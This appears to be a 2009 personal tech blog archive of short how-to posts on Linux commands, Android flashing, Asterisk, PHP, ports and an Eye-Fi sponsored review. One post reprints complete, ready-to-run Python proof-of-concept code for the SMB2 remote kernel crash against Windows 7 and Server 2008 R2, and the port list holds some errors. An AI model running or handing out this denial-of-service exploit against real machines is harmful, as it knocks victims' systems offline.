Wednesday, 9 December 2009

I spy Eye-Fi - Intelligent SD Cards spark a camera revolution

This is a Sponsored Post written by me on behalf of Eye-Fi. All opinions are 100% mine.

Photo management is currently my biggest time-waster on the computer. Yes, even worse than Facebook. Often I will be looking for a photo that I took months ago, only to find it's still on the camera. Then I have to find a USB cable, memory card reader, and download the photos, search for duplicates from previous downloads, before finally getting back to the photo I was looking for.

Then what happens if I want to access those photos and my camera isn't accessible, or I downloaded them to another computer? There's no easy way to access the photos without uploading them to a web photo sharing service, and all this takes time and effort. Photo management has rapidly become an time and effort-intensive operation.

All this is set to change with the new wireless-enable memory cards from Eye-Fi. These 4GB SD cards come with built-in WiFi capabilities, as well as the smarts to automatically upload your photos from the camera to a suitable computer or web service which you have preconfigured.

Basically this card looks and acts just like a normal SD card. Stick it in your camera and shoot as normal. You can configure up to 32 wireless networks, and whenever the camera (with the memory card inside) comes within range of one of these networks, it will upload the latest photos to your selected destination - which could be folders on your computer, or one of 25 different locations online.

I definitely want to get one of these cards - it could save me hours of photo transfer time, and at just $60USD for the geo-tagging version it's quite cheap for the features.

Here's a video explaining the service in more detail:


SocialSpark Disclosure Badge

How to create multiple recovery disks for HP Recovery Manager

I recently purchased a HP Pavilion dv7 laptop. Since HP no longer ships recovery disks, and instead uses a recovery partition, my first step was to start the Recovery Manager and create some disks in case I needed to do a system restore later. However, HP only allows you to make one set of disks (thanks to IP laws) - and a set of disks had already been created by somebody. So I was pretty stuck.

However, there is a way to trick the program and create two (or more) sets of disks. There is a file named HPCD.sys located in both C:\WINDOWS\SMINST and the root of your recovery partition (in my case, E:\). Simply rename or delete these files (I renamed to HPCD.sys.bak) and HP Recovery Manager will quite happily create another set for you.

NOTE: In order to rename these files, you will have to go to Windows Explorer, press Alt+T to bring up the tools menu, click "Options". Go to the View tab, and select "Show hidden files and folders" and uncheck "Hide extensions for known file types" and "Hide system files and folders". Otherwise you won't be able to see the file!
You may also have to run Windows Explorer as Administrator - bring up the Start menu, right click Windows Explorer and choose Run As Administrator.

Sources:
http://www.troublefixers.com/create-more-than-one-set-of-recovery-cd-on-hp-laptop-computer/
http://forum.notebookreview.com/showthread.php?t=129029

Tuesday, 8 December 2009

How to Connect Asterisk to Siemens Hipath 3000 with HG1500 using a SIP Trunk

For outgoing calls.

Create a new SIP Trunk in Asterisk, with this PEER config:

type = peer
host = ip.of.hg.1500

Then add an outbound route. That's all. Calls using that outbound route should now pass through the Siemens Hipath.

Monday, 7 December 2009

FIX: PHP MSSQL odbc_num_rows() returns -1

Running MSSQL with PHP  on Windows sometimes returns -1 for the function odbc_num_rows() even when there are rows in the result. This function fixes the problem:

 function best_odbc_num_rows($result,$currentRow=0)  {
   $numRecords = 0;
  odbc_fetch_row($result, 0);
  while (odbc_fetch_row($result))
  {
    $numRecords++;
  }
  odbc_fetch_row($result, $currentRow);
  return $numRecords;
}

Common TCP Port Numbers

Well-Known TCP Port Numbers


In TCP/IP and UDP networks, a port is an endpoint to a logical connection and the way a client program specifies a specific server program on a computer in a network. Some ports have numbers that are preassigned to them by the IANA, and these are known as well-known ports (specified in RFC 1700). Port numbers range from 0 to 65536, but only ports numbers 0 to 1024 are reserved for privileged services and designated as well-known ports. This list of well-known port numbers specifies the port used by the server process as its contact port.

Port Number Description
1TCP Port Service Multiplexer (TCPMUX)
5Remote Job Entry (RJE)
7ECHO
18Message Send Protocol (MSP)
20FTP -- Data
21FTP -- Control
22SSH Remote Login Protocol
23Telnet
25Simple Mail Transfer Protocol (SMTP)
29MSG ICP
37Time
42Host Name Server (Nameserv)
43WhoIs
49Login Host Protocol (Login)
53Domain Name System (DNS)
69Trivial File Transfer Protocol (TFTP)
70Gopher Services
79Finger
80HTTP
103X.400 Standard
108SNA Gateway Access Server
109POP2
110POP3
115Simple File Transfer Protocol (SFTP)
118SQL Services
119Newsgroup (NNTP)
137NetBIOS Name Service
139NetBIOS Datagram Service
143Interim Mail Access Protocol (IMAP)
150NetBIOS Session Service
156SQL Server
161SNMP
179Border Gateway Protocol (BGP)
190Gateway Access Control Protocol (GACP)
194Internet Relay Chat (IRC)
197Directory Location Service (DLS)
389Lightweight Directory Access Protocol (LDAP)
396Novell Netware over IP
443HTTPS
444Simple Network Paging Protocol (SNPP)
445Microsoft-DS
458Apple QuickTime
546DHCP Client
547DHCP Server
563SNEWS
569MSN
1080Socks
For further information, see RFC 1700. 
Source: http://www.webopedia.com/quick_ref/portnumbers.asp

Linux find which program is using a port

The linux fuser command has a special option for port conflicts.
Use fuser -n tcp for tcp ports to see which process is using the port.
For example to see which application is already using port 80 use:
$ fuser -n tcp 80
The netstat command can also be used to determine what process is using a port.
Use netstat -nlp and you should see PID and names of programs along with the port they are using (note you can only see the PID of process you own, unless running as root)

$ netstat --nlp

Sunday, 29 November 2009

Facebook Integrated Email Client - a "killer feature"?



The other day I realised something. I spend the vast majority of my day in the browser, with two tabs always open: Facebook, and Gmail. I use Facebook for the rich social features, photos and up-to-date contact information. Gmail I use for business communication, notifications from across the web and general communication.



What if I could combine the two? What if there was one place on the web where I could find up-to-date information about all of my friends, as well as providing private, asynchronous two-way communication by emails? I would spend all my day with this open.

What if Facebook had an email client?

Just another link on the left bar - under "News Feed", titled "Email Feed". This would show your most recent emails in a list, Facebook style, with Facebook profile pictures automatically matched to your contacts, Xoopit style. Then when you click an email, it will open and besides the email, also show information about the user, including recent updates and allow you to message them back.

If Facebook could handle my emails, I'd have no reason to keep Gmail open. I would spend all my day on Facebook. Literally. Even at work. And the integrated calendar functionality could be expanded, to provide Outlook-like viewing of availability, and event scheduling. The possibilities are endless.

Maybe I'm missing something. Maybe there's a glaringly obvious reason why Facebook doesn't do this. But as far as I can see, despite all our modern micro-blogging services, the good old email still has a lot of life left in it. If Facebook could tap into this huge business, they could potentially revolutionize email, and dramatically increase their market share at the same time. Not only that, it would also present a pathway for Facebook to move into the business communication sector, which is still largely avoiding the social network.


What about it, Facebook?

Saturday, 28 November 2009

How to Convert MIDI to Mp3 using Timitidy and FFMPEG

Command line switch for outputting WAV file from timidity is -Ow.
So:
timidity -Ow ./file-to-play.midi
will generate a WAV file named ./file-to-play.wav

To convert this to mp3, use FFMPEG:
ffmpeg -i ./file-to-play.wav ./file-to-play.mp3

That's it! You will now have an mp3 file ./file-to-play.mp3

Thursday, 19 November 2009

FULL CODE - Windows 7 Zero Day Exploit Proof of Concept Python Code

Here is the full code for the Windows 7 Zero Day Exploit involving SMB that was first posted here. Exploitation of this vulnerability occurs when a user attempts to browse to Windows Share hosted on the malicious server. On Windows 7, the DoS (denial of service) will occur as soon as you type ‘\\\' in the search box.

My code has fixes to ensure it will run first time. Simply copy and paste the code below into a file named "win7crash.py", and then make sure samba services are stopped ("sudo /etc/init.d/samba stop") and run "sudo python ./win7crash.py".

NOTE: Make sure the line def handle(self): is indented one space. The lines underneath this should be indented two spaces, and the last two lines not indented at all.

#!/bin/python
# This Python file uses the following encoding: utf-8
#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = ("\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a")


class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print "Who:", self.client_address
print "THANKS SDL"
input = self.request.recv(1024)
self.request.send(packet)
self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

Sunday, 15 November 2009

How to Setup Android SDK / ADB / Fastboot Under Ubuntu 9.10

These instructions work for Ubuntu 9.10, which I am running, as well as most other linux distributions. Basically how to setup Android for debugging. I have found this works with my HTC Magic 32A.

./adb kill-server
sudo ./adb start-server
./adb devices

Setting up UDEV to recognize HTC Device -
  1. Type the following into a terminal (Applications > Accessories > Terminal):
    Code:
    gksudo gedit /etc/udev/rules.d/51-android.rules

  2. Now add the following line to the blank file:
    Code:
    SUBSYSTEM=="usb", SYSFS{idVendor}=="0bb4", MODE="0666"

  3. Click save and close.
  4. To restart udev, open up a terminal and enter:
    Code:
    sudo /etc/init.d/udev restart

Saturday, 14 November 2009

How to Install Android Donut 1.6 on HTC Magic 32A (Cyanogen Mod)

I installed the lastest Cyanogen Mod firmware (v4.2.4) -  Android version 1.6 "Donut" release on my HTC Magic 32A type phone. This is the standard HTC branded phone with 292MB of RAM.

NOTE: This process will erase all DATA and APPLICATIONS on your phone. You can use Astro File Manager and My Backup to backup your phone.

Follow the instructions here:
  1. Download HTC ADP 1.6 DRC83 http://www.androidspin.com/downloads.php?dir=enomther/ROM/&file=HTC_ADP_1.6_DRC83_rooted_base.zip
  2. Download the latest CyanogenMod (see post)
  3. Download the Kernel Port file (see post)
  4. Copy all three .zip files to your SD and reboot in Recovery Mode (press Home+Power at the same time or fastboot into your recovery)
  5. Do a "Wipe data/factory reset"
  6. Do a "Wipe SD: ext partition" ** (it is recommended to wipe your Apps2SD partition for this release)
  7. Apply Zip: HTC_ADP_1.6_DRC83_rooted_base.zip
  8. Apply Zip: update-cm-xxxx-signed.zip
  9. Apply Kernel Port Zip: rad-4.xxxx.zip or bc-4.xxxx.zip (depends on who released the latest port: rad - Radix999,bc - bcrook )
  10. Reboot
  11. Either grab some popcorn and watch adb logcat as it goes past, or go do something else.. this might take a while

Thursday, 12 November 2009

How to ignore hidden folders with rsync

When using rsync to copy directories, I will use the following command:

rsync -av /home/david/directory-to-copy/ /tmp/new-directory/

But to ignore hidden files (and folders) I would use the following command:

rsync -av --exclude '.*' /home/david/directory-to-copy/ /tmp/new-directory/

Tuesday, 10 November 2009

Taskbar across dual monitors in Ubuntu linux

Right click panel, click "New Panel"
Right click the new panel, choose "Properties", and uncheck "Expand"
You should be able to drag it to the other monitor.
Open the panel's properties, and check "Expand" again. You may also have to choose to place it on the bottom edge of the screen.
Right click the new blank panel, and click "Add to Panel"
Choose "Window List" and click "Add". Your programs will show up in a list on the screen they are visible on.

Source: http://www.lloydleung.com/2006/10/14/gnome-multiple-monitor-taskbar-window-listing/

Using Grep -r to find strings in files - like find or locate

Searching for a String in Multiple Files

Ever need to search through all your files for a certain word or phrase? I did, and to make matters more complicated, the files were all in different sub-directories. A quick Google search turned up a few scripts involving multiple commands and temporary files. Then I found a simpler solution.

If you're a Unix/Linux/BSD user, you probably know about the grep command, but did you know it's recursive? That's right, grep can search through your entire directory tree, scanning every file along the way. It will even return the results in multiple formats!

Here's an example. In this case we're searching for the word "modules":

grep -r "modules" .

By using the "-r" switch, we're telling grep to scan files in the current directory and all sub-directories. It will return a list of files the string was found in, and a copy of the line it was found on.

If you'd rather just get the file names and skip the rest of the output, use the "-l" switch, like so:

grep -lr "modules" .

Here's another tip: grep also supports regular expressions, so matching against a wildcard pattern is easy:

grep -lr "mod.*" .

That command will print a list of files containing any word starting with "mod".

You can also use grep to search for multiple words:

grep -r "drupal\|joomla\|wordpress" .

And, of course, grep supports file name wildcards in the standard unix fashion. In this example, grep will search only file names starting with "log":

grep -lr "mod.*" ./log*

Unfortunately, not all versions of grep support recursive searching, and some use different switches, so if you're running into problems, check your man pages:

man grep

Source: http://blamcast.net/articles/recursive-grep-find-strings-files

Friday, 6 November 2009

Add a directory to PATH in Ubuntu / Unix

To add a directory (in this case /app1) to your path run the following command:

export PATH=$PATH:/app1

To view the new PATH variable:

echo $PATH

System PATH environment variables are stored in /etc/profile.